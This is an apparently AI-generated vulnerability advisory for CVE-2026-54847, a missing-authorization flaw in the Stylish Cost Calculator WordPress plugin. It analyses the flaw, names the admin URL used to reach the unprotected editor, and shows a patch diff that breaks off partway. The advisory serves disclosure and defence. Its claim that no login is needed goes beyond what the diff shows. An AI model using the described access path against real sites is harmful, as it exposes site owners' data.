Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 27, 2026

CVE-2026-54847: Stylish Cost Calculator – Quote Generator, Lead Gen & Price Estimator <= 8.3.9 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 8.3.9
Patched Version 8.3.10
Disclosed June 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-54847:
This vulnerability affects the Stylish Cost Calculator – Quote Generator, Lead Gen & Price Estimator plugin for WordPress versions up to and including 8.3.9. The issue is a missing authorization check in the admin page controller that allows unauthenticated attackers to access and interact with calculator editing functionality. The CVSS score of 5.3 reflects the medium severity of unauthorized access to administrative interfaces.

The root cause lies in the admin/controllers/PageControllers/class-page-edit-calculator.php file. The __construct() method in the PageEditTabs class lacks a capability check before executing critical operations. Specifically, the vulnerable code directly uses $_GET[‘id_form’] to load and display calculator data via $formC->readWithRelations($_GET[‘id_form’]). There is no current_user_can() check at the beginning of the constructor to verify administrative privileges. The patch adds a permissions check: if ( ! current_user_can( ‘manage_options’ ) ) { wp_die( esc_html__( ‘You do not have permission to edit calculators.’, ‘scc’ ) ); }. This ensures only users with the manage_options capability (typically administrators) can access the page.

An attacker can exploit this vulnerability by sending a crafted HTTP request to the WordPress admin area without authentication. The attack vector is the admin page endpoint that loads the calculator editor. The specific URL pattern is /wp-admin/admin.php?page=scc_edit_items&id_form={calculator_id}. The attacker does not need to be logged in because the vulnerable code path does not enforce any user capability check. The dealer.php controller routes the ‘scc_edit_items’ case to load the PageEditCalculator class, which then executes the constructor without verifying the user’s permissions.

The patch introduces three key changes to remediate the vulnerability. First, a capability check with current_user_can(‘manage_options’) is added at the start of the PageEditTabs constructor. Second, the code sanitizes the $_GET[‘id_form’] parameter using absint() and wp_unslash() to prevent injection attacks. Third, the form_id variable is validated before use: $form_id > 0 ? $formC->readWithRelations($form_id) : null. The old code passed the raw $_GET parameter directly to readWithRelations().

If exploited, an unauthenticated attacker can access the calculator editor interface, which may expose sensitive configuration data including pricing information, form structure, and associated metadata. While this specific missing authorization does not directly allow data modification or deletion, it leaks internal plugin details that could aid in further attacks. The impact is limited to unauthorized information disclosure (confidentiality breach) without privilege escalation or remote code execution.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/stylish-cost-calculator/admin/controllers/PageControllers/class-page-edit-calculator.php
+++ b/stylish-cost-calculator/admin/controllers/PageControllers/class-page-edit-calculator.php
@@ -3,8 +3,6 @@
 	exit;
 }

-use StripeTerminalLocation;
-
 require_once dirname( __FILE__ ) . '/class-pages-breadcrumbs.php';
 /**
  * *This loads one calculator, settings, translation and preview
@@ -14,8 +12,16 @@
 class PageEditTabs extends PagesBreadcrumbs {

 	public function __construct() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_die( esc_html__( 'You do not have permission to edit calculators.', 'scc' ) );
+		}
+
 		require dirname( __DIR__, 1 ) . '/formController.php';
 		$formC = new formController();
+		$form_id = 0;
+		if ( isset( $_GET['id_form'] ) && ! is_array( $_GET['id_form'] ) ) {
+			$form_id = absint( wp_unslash( $_GET['id_form'] ) );
+		}

 		wp_enqueue_style( 'wp-color-picker' );
 		wp_enqueue_script( 'wp-color-picker' );
@@ -64,21 +70,21 @@
 		wp_register_style( 'scc-modal', SCC_URL . 'assets/css/modals/_modal.css', [], scc_get_file_version( SCC_DIR . '/assets/css/modals/_toast.css' ) );
 		wp_enqueue_style( 'scc-modal' );

-        $currencies_array = 'window["scc_currencies"] = ' . json_encode(
-			require_once( SCC_DIR . '/lib/currency_data.php' )
-		);
+		$scc_json_encode_flags = JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT;
+		$scc_currencies        = require SCC_DIR . '/lib/currency_data.php';
+		$currencies_array      = 'window["scc_currencies"] = ' . wp_json_encode( $scc_currencies, $scc_json_encode_flags );
 		wp_add_inline_script( 'scc-frontend', $currencies_array );

 		add_thickbox();

-		$f1          = $formC->readWithRelations( $_GET['id_form'] );
+		$f1          = $form_id > 0 ? $formC->readWithRelations( $form_id ) : null;
 		$isActivated = get_option( 'df_scc_licensed', 0 ) ? true : false;

 		parent::__construct();
 		wp_enqueue_media();

 		if ( ! $f1 ) {
-			return $this->show_eror();
+			return $this->show_eror( $form_id );
 		}

 		$this->updateCalculatorUsageStat();
@@ -95,7 +101,7 @@
 		require dirname( __DIR__, 2 ) . '/views/adminFooter.php';
 	}

-	function show_eror() {
+	function show_eror( $form_id = 0 ) {
 		?>
 		<script>
 			jQuery(document).ready(function() {
@@ -104,7 +110,7 @@
 					allowOutsideClick: false,
 					title: 'Oops...',
 					confirmButtonText: '<i class="fa fa-thumbs-up"></i> Great!',
-					text: "Calculator with ID <?php echo intval( $_GET['id_form'] ); ?> doesn't exist, or has been deleted. Please recheck your shortcode ",
+					text: "Calculator with ID <?php echo intval( $form_id ); ?> doesn't exist, or has been deleted. Please recheck your shortcode ",
 				}).then((result) => {
 					if (result.isConfirmed) {
 						location.href = '<?php echo admin_url( 'admin.php?page=scc-list-all-calculator-forms' ); ?>'
--- a/stylish-cost-calculator/admin/controllers/dealer.php
+++ b/stylish-cost-calculator/admin/controllers/dealer.php
@@ -21,8 +21,12 @@
 			case 'add_new_form2':
 				require dirname( __FILE__ ) . '/PageControllers/class-page-new-calcualtor.php';
 				break;
-			case 'scc_edit_items' && isset( $_GET['id_form'] ):
-				require dirname( __FILE__ ) . '/PageControllers/class-page-edit-calculator.php';
+			case 'scc_edit_items':
+				if ( isset( $_GET['id_form'] ) ) {
+					require dirname( __FILE__ ) . '/PageControllers/class-page-edit-calculator.php';
+				} else {
+					require dirname( __FILE__ ) . '/PageControllers/class-page-new-calcualtor.php';
+				}
 				break;
 			case 'scc-list-all-calculator-forms':
 				require dirname( __FILE__ ) . '/PageControllers/class-page-all-forms.php';
--- a/stylish-cost-calculator/admin/controllers/formController.php
+++ b/stylish-cost-calculator/admin/controllers/formController.php
@@ -14,8 +14,8 @@
 class formController {

 	protected $db;
-    private const RELATIONS_CACHE_GROUP = 'scc_forms';
-    private const RELATIONS_CACHE_TTL   = 15 * MINUTE_IN_SECONDS;
+    const RELATIONS_CACHE_GROUP = 'scc_forms';
+    const RELATIONS_CACHE_TTL   = 15 * MINUTE_IN_SECONDS;

 	private function normalize_json_text_field( $value ) {
 		if ( is_array( $value ) || is_object( $value ) ) {
@@ -43,6 +43,14 @@
         return 'scc_form_rel_' . $form_id;
     }

+    private static function get_frontend_cache_key( int $form_id ) {
+        return 'frontend_form:' . $form_id;
+    }
+
+    private static function get_frontend_transient_key( int $form_id ) {
+        return 'scc_form_front_' . $form_id;
+    }
+
     private static function get_cached_relations( int $form_id ) {
         $cache_key = self::get_relations_cache_key( $form_id );
         $cached    = wp_cache_get( $cache_key, self::RELATIONS_CACHE_GROUP );
@@ -54,7 +62,11 @@
         $cached = get_transient( self::get_relations_transient_key( $form_id ) );

         if ( false !== $cached ) {
-            delete_transient( self::get_relations_transient_key( $form_id ) );
+            // Re-prime the per-request object cache but keep the transient in place
+            // so it keeps serving subsequent requests for its full TTL. On installs
+            // without a persistent object cache, deleting it here made the cache
+            // single-use. The transient is invalidated on writes via the
+            // flush_relations_cache() / flush_by_* helpers.
             wp_cache_set( $cache_key, $cached, self::RELATIONS_CACHE_GROUP, self::RELATIONS_CACHE_TTL );
             return $cached;
         }
@@ -67,9 +79,224 @@
         set_transient( self::get_relations_transient_key( $form_id ), $data, self::RELATIONS_CACHE_TTL );
     }

+    /**
+     * Cached loader for the public calculator shortcode.
+     *
+     * Returns the exact structure the frontend has always rendered (the forced
+     * turnoff flags and empty-price-to-zero coercion that the old inline get()
+     * helper produced). The expensive sectioned walk is cached under its own
+     * keys and invalidated through flush_relations_cache(), so it is shared
+     * across page views instead of running the N+1 query path on every render.
+     * A deep copy is returned because the renderer mutates the object (e.g.
+     * $item->opt_default, $form->formFieldsArray) and those per-render mutations
+     * must not leak into the shared cache.
+     *
+     * @param integer $id calculator id
+     * @return object|null form with relations, or null when the form is missing
+     */
+    public function getFrontendForm( int $id ) {
+        $object_key = self::get_frontend_cache_key( $id );
+        $cached     = wp_cache_get( $object_key, self::RELATIONS_CACHE_GROUP );
+
+        if ( false === $cached ) {
+            $cached = get_transient( self::get_frontend_transient_key( $id ) );
+
+            if ( false !== $cached ) {
+                wp_cache_set( $object_key, $cached, self::RELATIONS_CACHE_GROUP, self::RELATIONS_CACHE_TTL );
+            }
+        }
+
+        if ( false === $cached ) {
+            $cached = $this->build_frontend_form( $id );
+
+            if ( null === $cached ) {
+                return null;
+            }
+
+            wp_cache_set( $object_key, $cached, self::RELATIONS_CACHE_GROUP, self::RELATIONS_CACHE_TTL );
+            set_transient( self::get_frontend_transient_key( $id ), $cached, self::RELATIONS_CACHE_TTL );
+        }
+
+        // Hand back an isolated copy so per-render mutations never touch the cache.
+        return json_decode( wp_json_encode( $cached ) );
+    }
+
+    private function normalize_id_list( array $ids ) {
+        $normalized = [];
+
+        foreach ( $ids as $id ) {
+            $id = absint( $id );
+            if ( $id > 0 ) {
+                $normalized[ $id ] = $id;
+            }
+        }
+
+        return array_values( $normalized );
+    }
+
+    private function get_results_by_ids( string $query, array $ids ) {
+        $ids = $this->normalize_id_list( $ids );
+
+        if ( empty( $ids ) ) {
+            return [];
+        }
+
+        $placeholders = implode( ', ', array_fill( 0, count( $ids ), '%d' ) );
+        $query        = str_replace( '%IDS%', $placeholders, $query );
+
+        return $this->db->get_results( $this->db->prepare( $query, ...$ids ) );
+    }
+
+    private function build_condition_elementitem_map( array $elementitem_ids, bool $for_frontend = false ) {
+        $elementitems = $this->get_results_by_ids( "SELECT `id`,`name`,`uniqueId` FROM {$this->db->prefix}df_scc_elementitems WHERE id IN (%IDS%);", $elementitem_ids );
+        $map          = [];
+
+        foreach ( $elementitems as $elementitem ) {
+            $map[ $elementitem->id ] = $for_frontend
+                ? (object) [ 'name' => $elementitem->name ]
+                : (object) [ 'name' => $elementitem->name, 'uniqueId' => $elementitem->uniqueId ];
+        }
+
+        return $map;
+    }
+
+    private function build_condition_element_map( array $element_ids, bool $for_frontend = false ) {
+        $elements = $this->get_results_by_ids( "SELECT `id`,`titleElement`,`type`,`uniqueId` FROM {$this->db->prefix}df_scc_elements WHERE id IN (%IDS%);", $element_ids );
+        $map      = [];
+
+        foreach ( $elements as $element ) {
+            $map[ $element->id ] = $for_frontend
+                ? (object) [ 'titleElement' => $element->titleElement, 'type' => $element->type ]
+                : (object) [ 'titleElement' => $element->titleElement, 'type' => $element->type, 'uniqueId' => $element->uniqueId ];
+        }
+
+        return $map;
+    }
+
+    /**
+     * Builds a calculator with sections, subsections, elements, conditions, and
+     * element items using batched relation queries instead of nested N+1 loops.
+     */
+    private function build_form_with_relations( int $id, bool $for_frontend = false ) {
+        $scc_form = $this->db->get_row( $this->db->prepare( "SELECT * FROM {$this->db->prefix}df_scc_forms WHERE id =%d ;", $id ) );
+
+        if ( ! $scc_form ) {
+            return null;
+        }
+
+        if ( $for_frontend ) {
+            $scc_form->turnoffemailquote = true;
+            $scc_form->turnoffcoupon     = true;
+        }
+
+        $sections           = $this->db->get_results( $this->db->prepare( "SELECT * FROM {$this->db->prefix}df_scc_sections WHERE form_id =%d ORDER By `order`;", $scc_form->id ) );
+        $scc_form->sections = $sections;
+
+        if ( empty( $sections ) ) {
+            return $scc_form;
+        }
+
+        $section_ids    = [];
+        $sections_by_id = [];
+
+        foreach ( $sections as $section ) {
+            $section->subsection          = [];
+            $section_ids[]                = $section->id;
+            $sections_by_id[ $section->id ] = $section;
+        }
+
+        $subsections       = $this->get_results_by_ids( "SELECT * FROM {$this->db->prefix}df_scc_subsections WHERE section_id IN (%IDS%) ORDER BY id;", $section_ids );
+        $subsection_ids    = [];
+        $subsections_by_id = [];
+
+        foreach ( $subsections as $subsection ) {
+            $subsection->element = [];
+            $subsection_ids[]    = $subsection->id;
+            $subsections_by_id[ $subsection->id ] = $subsection;
+
+            if ( isset( $sections_by_id[ $subsection->section_id ] ) ) {
+                $sections_by_id[ $subsection->section_id ]->subsection[] = $subsection;
+            }
+        }
+
+        $elements       = $this->get_results_by_ids( "SELECT * FROM {$this->db->prefix}df_scc_elements WHERE subsection_id IN (%IDS%) ORDER By subsection_id, orden +0;", $subsection_ids );
+        $element_ids    = [];
+        $elements_by_id = [];
+
+        foreach ( $elements as $element ) {
+            $element->conditions   = [];
+            $element->elementitems = [];
+            $element_ids[]         = $element->id;
+            $elements_by_id[ $element->id ] = $element;
+
+            if ( isset( $subsections_by_id[ $element->subsection_id ] ) ) {
+                $subsections_by_id[ $element->subsection_id ]->element[] = $element;
+            }
+        }
+
+        $conditions            = $this->get_results_by_ids( "SELECT * FROM {$this->db->prefix}df_scc_conditions WHERE element_id IN (%IDS%) ORDER BY id;", $element_ids );
+        $condition_item_ids    = [];
+        $condition_element_ids = [];
+
+        foreach ( $conditions as $condition ) {
+            if ( isset( $elements_by_id[ $condition->element_id ] ) ) {
+                $elements_by_id[ $condition->element_id ]->conditions[] = $condition;
+            }
+
+            if ( ! empty( $condition->elementitem_id ) ) {
+                $condition_item_ids[] = $condition->elementitem_id;
+            }
+
+            if ( ! empty( $condition->condition_element_id ) ) {
+                $condition_element_ids[] = $condition->condition_element_id;
+            }
+        }
+
+        $condition_item_map    = $this->build_condition_elementitem_map( $condition_item_ids, $for_frontend );
+        $condition_element_map = $this->build_condition_element_map( $condition_element_ids, $for_frontend );
+
+        foreach ( $conditions as $condition ) {
+            if ( ! empty( $condition->elementitem_id ) && isset( $condition_item_map[ $condition->elementitem_id ] ) ) {
+                $condition->elementitem_name = $condition_item_map[ $condition->elementitem_id ];
+            }
+
+            if ( ! empty( $condition->condition_element_id ) && isset( $condition_element_map[ $condition->condition_element_id ] ) ) {
+                $condition->element_condition = $condition_element_map[ $condition->condition_element_id ];
+            }
+        }
+
+        $elementitems = $this->get_results_by_ids( "SELECT * FROM {$this->db->prefix}df_scc_elementitems WHERE element_id IN (%IDS%) ORDER BY id;", $element_ids );
+
+        foreach ( $elementitems as $elementitem ) {
+            if ( $for_frontend && $elementitem->price == '' ) {
+                $elementitem->price = 0;
+            }
+
+            if ( isset( $elements_by_id[ $elementitem->element_id ] ) ) {
+                $elements_by_id[ $elementitem->element_id ]->elementitems[] = $elementitem;
+            }
+        }
+
+        return $scc_form;
+    }
+
+    /**
+     * Builds the frontend shortcode payload. Kept equivalent to the loader the
+     * shortcode used inline so the rendered markup is unchanged.
+     */
+    private function build_frontend_form( int $id ) {
+        return $this->build_form_with_relations( $id, true );
+    }
+
     public static function flush_relations_cache( int $form_id ) {
         wp_cache_delete( self::get_relations_cache_key( $form_id ), self::RELATIONS_CACHE_GROUP );
         delete_transient( self::get_relations_transient_key( $form_id ) );
+        // Keep the frontend shortcode payload in lock-step with the relations
+        // cache. Every edit path (section/element/condition CRUD and form-level
+        // update/delete) funnels through here, so the cached calculator render
+        // never goes stale after an edit.
+        wp_cache_delete( self::get_frontend_cache_key( $form_id ), self::RELATIONS_CACHE_GROUP );
+        delete_transient( self::get_frontend_transient_key( $form_id ) );
     }

     public static function flush_by_section( int $section_id ) {
@@ -277,41 +504,8 @@
            return $cached;
         }

-		$scc_form = $this->db->get_row( $this->db->prepare( "SELECT * FROM {$this->db->prefix}df_scc_forms WHERE id =%d ;", $id ) );
+		$scc_form = $this->build_form_with_relations( $id );
 		if ( $scc_form ) {
-			$form_id            = $scc_form->id;
-			$sections           = $this->db->get_results( $this->db->prepare( "SELECT * FROM {$this->db->prefix}df_scc_sections WHERE form_id =%d ORDER By `order`;", $form_id ) );
-			$scc_form->sections = $sections;
-			foreach ( $sections as $section ) {
-				$section_id          = $section->id;
-				$subsection          = $this->db->get_results( $this->db->prepare( "SELECT * FROM {$this->db->prefix}df_scc_subsections WHERE section_id =%d ;", $section_id ) );
-				$section->subsection = $subsection;
-				foreach ( $section->subsection as $sub ) {
-					$sub_id       = $sub->id;
-					$elements     = $this->db->get_results( $this->db->prepare( "SELECT * FROM {$this->db->prefix}df_scc_elements WHERE subsection_id =%d ORDER By orden +0; ", $sub_id ) );
-					$sub->element = $elements;
-					foreach ( $sub->element as $el2 ) {
-						$elem_id         = $el2->id;
-						$condition       = $this->db->get_results( $this->db->prepare( "SELECT * FROM {$this->db->prefix}df_scc_conditions WHERE element_id =%d ;", $elem_id ) );
-						$el2->conditions = $condition;
-						foreach ( $el2->conditions as $c ) {
-							if ( $c->elementitem_id ) {
-								$element             = $this->db->get_row( $this->db->prepare( "SELECT `name`,`uniqueId` FROM {$this->db->prefix}df_scc_elementitems WHERE id =%d ;", $c->elementitem_id ) );
-								$c->elementitem_name = $element;
-							}
-							if ( $c->condition_element_id ) {
-								$element              = $this->db->get_row( $this->db->prepare( "SELECT `titleElement`,`type`,`uniqueId` FROM {$this->db->prefix}df_scc_elements WHERE id =%d ;", $c->condition_element_id ) );
-								$c->element_condition = $element;
-							}
-						}
-					}
-					foreach ( $sub->element as $el ) {
-						$elem_id          = $el->id;
-						$elements         = $this->db->get_results( $this->db->prepare( "SELECT * FROM {$this->db->prefix}df_scc_elementitems WHERE element_id =%d ;", $elem_id ) );
-						$el->elementitems = $elements;
-					}
-				}
-			}

 			self::set_cached_relations( $id, $scc_form );

--- a/stylish-cost-calculator/admin/controllers/migrateController.php
+++ b/stylish-cost-calculator/admin/controllers/migrateController.php
@@ -177,9 +177,6 @@
 		if ( $options->scc_sendername ) {
 			update_option( 'df_scc_sendername', $options->scc_sendername );
 		}
-		if ( $options->scc_stripe_keys ) {
-			update_option( 'df_scc_stripe_keys', $options->scc_stripe_keys );
-		}
 		if ( $options->df_scc_captcha_enablement_status ) {
 			update_option( 'df_scc-captcha-enablement-status', $options->df_scc_captcha_enablement_status );
 		}
--- a/stylish-cost-calculator/admin/models/editElementModel.php
+++ b/stylish-cost-calculator/admin/models/editElementModel.php
@@ -13,10 +13,62 @@
         $this->calc_id                = $calc_id;
         $this->is_from_ajax           = $is_from_ajax;
         $this->df_scc_form_currency   = get_option( 'df_scc_currency', 'USD' );
-        $this->is_woocommerce_enabled = false;
+        $this->is_woocommerce_enabled = (bool) $is_woocommerce_enabled;
+        if ( $this->is_woocommerce_enabled ) {
+            $this->woo_commerce_products = [];
+        }
 		$this->scc_icons = require SCC_DIR . '/assets/scc_icons/icon_rsrc.php';
     }

+    private function format_woocommerce_product_label( $product ) {
+        if ( ! $product || ! is_object( $product ) || ! method_exists( $product, 'get_name' ) ) {
+            return '';
+        }
+
+        $label = $product->get_name();
+
+        if ( method_exists( $product, 'is_type' ) && $product->is_type( 'variation' ) ) {
+            $parent = function_exists( 'wc_get_product' ) ? wc_get_product( $product->get_parent_id() ) : null;
+            if ( $parent ) {
+                $label = $parent->get_name();
+            }
+
+            if ( function_exists( 'wc_get_formatted_variation' ) ) {
+                $variation_label = wp_strip_all_tags( wc_get_formatted_variation( $product, true, false, true ) );
+                if ( '' !== $variation_label ) {
+                    $label .= ': ' . $variation_label;
+                }
+            }
+        }
+
+        if ( method_exists( $product, 'get_price' ) && '' !== $product->get_price() ) {
+            $label .= ' | Price: ' . get_woocommerce_currency_symbol() . $product->get_price();
+        }
+
+        return $label;
+    }
+
+    public function render_woocommerce_product_options( $selected_product_id = 0 ) {
+        $selected_product_id = absint( $selected_product_id );
+
+        if ( $selected_product_id <= 0 || ! function_exists( 'wc_get_product' ) ) {
+            return '';
+        }
+
+        $product = wc_get_product( $selected_product_id );
+        $label   = $this->format_woocommerce_product_label( $product );
+
+        if ( '' === $label ) {
+            return '';
+        }
+
+        return sprintf(
+            '<option value="%1$d" selected data-scc-selected-product="1">%2$s</option>',
+            $selected_product_id,
+            esc_html( $label )
+        );
+    }
+
     public function renderAdvancedOptions( $el ) {
         $defaults = [
             'orden'              => 0,
@@ -440,12 +492,12 @@

                 if ( $el->type != 'checkbox'  ) {
                     ?>
-					<div class="text-scc-col d-flex" style="font-size:13px;">
-						<div class="col-md-12 input-field use-premium-tooltip">
-							<input onchange="changeTooltipText(this)" onkeyup="changeTooltipText(this)" id="<?php echo esc_attr( 'scc_tooltip_input-' . $el->id ); ?>" class="scc_title_column_mobl" name="scc_title_column_mobl" type="text" value="<?php echo ( isset( $el->tooltiptext ) ) ? esc_attr( $el->tooltiptext ) : ''; ?>" disabled>
-							<label class="form-label fw-bold use-tooltip <?php echo ( isset( $el->tooltiptext ) && strlen( $el->tooltiptext ) > 0 ) ? 'active' : ''; ?> " for="<?php echo esc_attr( 'scc_tooltip_input-' . $el->id ); ?>" title="On the frontend, display a tooltip icon and information next to element titles. Explain what this item is about while keeping the calculator form organized.">Tooltip</label>
+						<div class="text-scc-col d-flex scc-tooltip-option-field" style="font-size:13px;">
+							<div class="col-md-12 input-field use-premium-tooltip">
+								<input onchange="changeTooltipText(this)" onkeyup="changeTooltipText(this)" id="<?php echo esc_attr( 'scc_tooltip_input-' . $el->id ); ?>" class="scc_title_column_mobl scc-tooltip-input" name="scc_title_column_mobl" type="text" value="<?php echo ( isset( $el->tooltiptext ) ) ? esc_attr( $el->tooltiptext ) : ''; ?>" disabled>
+								<label class="active form-label fw-bold use-tooltip" for="<?php echo esc_attr( 'scc_tooltip_input-' . $el->id ); ?>" title="On the frontend, display a tooltip icon and information next to element titles. Explain what this item is about while keeping the calculator form organized.">Tooltip</label>
+							</div>
 						</div>
-					</div>
 					<?php
                 }
         ?>
@@ -1612,7 +1664,7 @@
 					<div class="col-md-12 p-0">
 						<div class="row">
 							<div class="col-md-8">
-								<input type="text" onkeyup="changeNameElementItem(this, true)" class="form-control scc-input" value="<?php echo stripslashes( wp_kses( $elit->name, SCC_ALLOWTAGS ) ); ?>" placeholder="Product or service name">
+								<input type="text" onkeyup="changeNameElementItem(this, true)" class="form-control scc-input" value="<?php echo esc_attr( wp_kses( wp_unslash( $elit->name ), SCC_ALLOWTAGS ) ); ?>" placeholder="Product or service name">
 							</div>
 							<div class="col-md-4 d-inline-flex scc-input-icon">
 								<span class="input-group-text" style="height: 45px;border-radius: 6px 0px 0px 6px"><?php echo df_scc_get_currency_symbol_by_currency_code( $this->df_scc_form_currency ); ?></span>
@@ -1621,7 +1673,7 @@
 						</div>
 						<div class="row">
 							<div class="col-md-12 col-xs-6 pb-2">
-								<input type="text" onkeyup="changeDescriptionElementItem(this, true)" class="input_pad scc_inputoption_desc" placeholder="Description" value="<?php echo stripslashes( wp_kses( $elit->description, SCC_ALLOWTAGS ) ); ?>">
+								<input type="text" onkeyup="changeDescriptionElementItem(this, true)" class="input_pad scc_inputoption_desc" placeholder="Description" value="<?php echo esc_attr( wp_kses( wp_unslash( $elit->description ), SCC_ALLOWTAGS ) ); ?>">
 							</div>
 						</div>
 					</div>
@@ -2188,7 +2240,13 @@
             ],
             'conditions'                    => [ 1 => [] ],
         ];
-        $el       = (object) meks_wp_parse_args( $el, $defaults );
+        $el                 = (object) meks_wp_parse_args( $el, $defaults );
+        $quantity_box_price = '';
+        if ( isset( $el->value2 ) && $el->value2 !== '' ) {
+            $quantity_box_price = $el->value2;
+        } elseif ( isset( $el->price ) ) {
+            $quantity_box_price = $el->price;
+        }
         ob_start();
         ?>
 		<div class="scc-element-content" data-element-setup-type="<?php echo esc_attr( $el->type ); ?>" value="selectoption" style="
@@ -2223,7 +2281,7 @@
 														</div> -->
 														<div class="col-md-4 d-flex scc-input-icon scc-input">
 															<span class="input-group-text"><?php echo df_scc_get_currency_symbol_by_currency_code( $this->df_scc_form_currency ); ?></span>
-															<input type="number" onchange="changeValue2(this)" onkeyup="changeValue2(this)" class="ssc-margin-0 input_pad inputoption_2" style="width:100%;text-align:center;height:35px;" placeholder="Price" value="<?php echo isset($el->price)?floatval( $el->price ): ''; ?>">
+															<input type="number" onchange="changeValue2(this)" onkeyup="changeValue2(this)" class="ssc-margin-0 input_pad inputoption_2" style="width:100%;text-align:center;height:35px;" placeholder="Price" value="<?php echo esc_attr( $quantity_box_price ); ?>">
 														</div>
 													</div>
 													</div>
@@ -3328,7 +3386,7 @@
 					<div class="col-md-10">
 						<div class="row">
 							<div class="col-md-8">
-								<input type="text" class="form-control scc-input" onkeyup="changeNameElementItem(this, true)" value="<?php echo stripslashes( wp_kses( $elit->name, SCC_ALLOWTAGS ) ); ?>">
+								<input type="text" class="form-control scc-input" onkeyup="changeNameElementItem(this, true)" value="<?php echo esc_attr( wp_kses( wp_unslash( $elit->name ), SCC_ALLOWTAGS ) ); ?>">
 							</div>
 							<div class="col-md-4 d-inline-flex scc-input-icon">
 								<span class="input-group-text" style="height: 45px;border-radius: 6px 0px 0px 6px"><?php echo df_scc_get_currency_symbol_by_currency_code( $this->df_scc_form_currency ); ?></span>
@@ -3337,40 +3395,19 @@
 						</div>
 						<div class="row">
 							<div class="col-md-12 col-xs-6 pb-2">
-								<input type="text" onkeyup="changeDescriptionElementItem(this, true)" class="input_pad scc_inputoption_desc" placeholder="Description" value="<?php echo stripslashes( wp_kses( $elit->description, SCC_ALLOWTAGS ) ); ?>">
+								<input type="text" onkeyup="changeDescriptionElementItem(this, true)" class="input_pad scc_inputoption_desc" placeholder="Description" value="<?php echo esc_attr( wp_kses( wp_unslash( $elit->description ), SCC_ALLOWTAGS ) ); ?>">
 							</div>
 						</div>
 					</div>
 				</div>
-				<?php if ( ! empty( $this->woo_commerce_products ) ) { ?>
+				<?php if ( isset( $this->woo_commerce_products ) ) { ?>
 					<div class="col-12 mb-3 edit-field" data-edit-field-type="wc_choices" style="width: 100%;padding-left:12px;">
 						<label class="form-label fw-bold">
 							<img class="scc-woo-logo" src="<?php echo esc_url_raw( SCC_ASSETS_URL . '/images/logo-woocommerce.svg' ); ?>" title="Pick an item from your WooCommerce products to link to.">
 						</label>
-						<select class="form-select w-100" data-target="elements_added" onchange="attachProductId(this, <?php echo intval( $elit->id ); ?>)">
+						<select class="form-select w-100 scc_woo_commerce_product_id" data-target="elements_added" onchange="attachProductId(this, <?php echo intval( $elit->id ); ?>)">
 							<option style="font-size: 10px" value=0>Select a product..</option>
-							<?php
-                            foreach ( $this->woo_commerce_products as $product ) {
-                                if ( $product->is_type( 'variable' ) ) {
-                                    $available_variations = $product->get_available_variations();
-
-                                    foreach ( $available_variations as $product_variable ) {
-                                        $attributes = [];
-
-                                        foreach ( $product_variable['attributes'] as $key => $value ) {
-                                            $attributes[] = $product->get_name() . ': ' . $value;
-                                        }
-                                        ?>
-										<option value=<?php echo esc_html( $product_variable['variation_id'] ); ?> <?php echo selected( $product->get_id() == intval( $elit->woocomerce_product_id ) ); ?>><?php echo esc_html( implode( ' | ', $attributes ) ) . ' | Price: ' . get_woocommerce_currency_symbol() . '' . esc_html( $product_variable['display_regular_price'] ); ?></option>
-										<?php
-                                    }
-                                } else {
-                                    ?>
-									<option value=<?php echo esc_html( $product->get_id() ); ?> <?php echo selected( $product->get_id() == intval( $elit->woocomerce_product_id ) ); ?>><?php echo esc_html( $product->get_name() ) . ' | Price: ' . get_woocommerce_currency_symbol() . '' . esc_html( $product->get_price() ); ?></option>
-									<?php
-                                }
-                            }
-                            ?>
+							<?php echo $this->render_woocommerce_product_options( $elit->woocomerce_product_id ); ?>
 						</select>
 					</div>
 				<?php } ?>
--- a/stylish-cost-calculator/admin/views/adminHeader.php
+++ b/stylish-cost-calculator/admin/views/adminHeader.php
@@ -249,7 +249,7 @@
         height: 100%;
         width: 0;
         position: fixed;
-        z-index: 10;
+        z-index: 1000;
         top: 0;
         left: 0;
         cursor: wait;
--- a/stylish-cost-calculator/admin/views/calculatorQuotes.php
+++ b/stylish-cost-calculator/admin/views/calculatorQuotes.php
@@ -496,18 +496,44 @@
 		if ( array_key_exists( 'notes_count', $columns ) ) {
 			$data_args['notes_count'] = true;
 		}
-		$data = $wpdb->get_results( $wpdb->prepare(
-			"SELECT * FROM {$wpdb->prefix}df_scc_quote_submissions WHERE {$wpdb->prefix}df_scc_quote_submissions.calc_id=%d LIMIT %d OFFSET %d;",
-			$data_args['form_id'],
-			$data_args['page-max'],
-			$data_args['offset']
+		// Build the WHERE clause from the collected filter args so the starred /
+		// unread / status tabs actually affect results. The column names and sort
+		// direction are whitelisted before interpolation; all values are bound.
+		$where  = "{$wpdb->prefix}df_scc_quote_submissions.calc_id = %d";
+		$params = array( $data_args['form_id'] );
+		if ( isset( $data_args['starred'] ) ) {
+			$where   .= ' AND starred = %d';
+			$params[] = 1;
+		}
+		if ( isset( $data_args['viewed'] ) ) {
+			// "unread" maps to the `opened` column; there is no `viewed` column.
+			$where   .= ' AND opened = %d';
+			$params[] = 0;
+		}
+		if ( isset( $data_args['status'] ) ) {
+			$where   .= ' AND status = %s';
+			$params[] = $data_args['status'];
+		}
+		$orderby_whitelist = array(
+			'id'           => 'id',
+			'status'       => 'status',
+			'starred'      => 'starred',
+			'date_created' => 'created_at',
+			'created_at'   => 'created_at',
+			'updated_at'   => 'updated_at',
+		);
+		$orderby_col = ( isset( $data_args['orderby'] ) && isset( $orderby_whitelist[ $data_args['orderby'] ] ) ) ? $orderby_whitelist[ $data_args['orderby'] ] : 'id';
+		$order_dir   = ( isset( $data_args['order'] ) && strtoupper( $data_args['order'] ) === 'ASC' ) ? 'ASC' : 'DESC';
+
+		$data_params = array_merge( $params, array( $data_args['page-max'], $data_args['offset'] ) );
+		$data        = $wpdb->get_results( $wpdb->prepare(
+			"SELECT * FROM {$wpdb->prefix}df_scc_quote_submissions WHERE {$where} ORDER BY `{$orderby_col}` {$order_dir} LIMIT %d OFFSET %d;",
+			$data_params
 		) );
-		$total_items = $wpdb->get_results( $wpdb->prepare(
-			"SELECT COUNT(*) total FROM {$wpdb->prefix}df_scc_quote_submissions WHERE {$wpdb->prefix}df_scc_quote_submissions.calc_id=%d;",
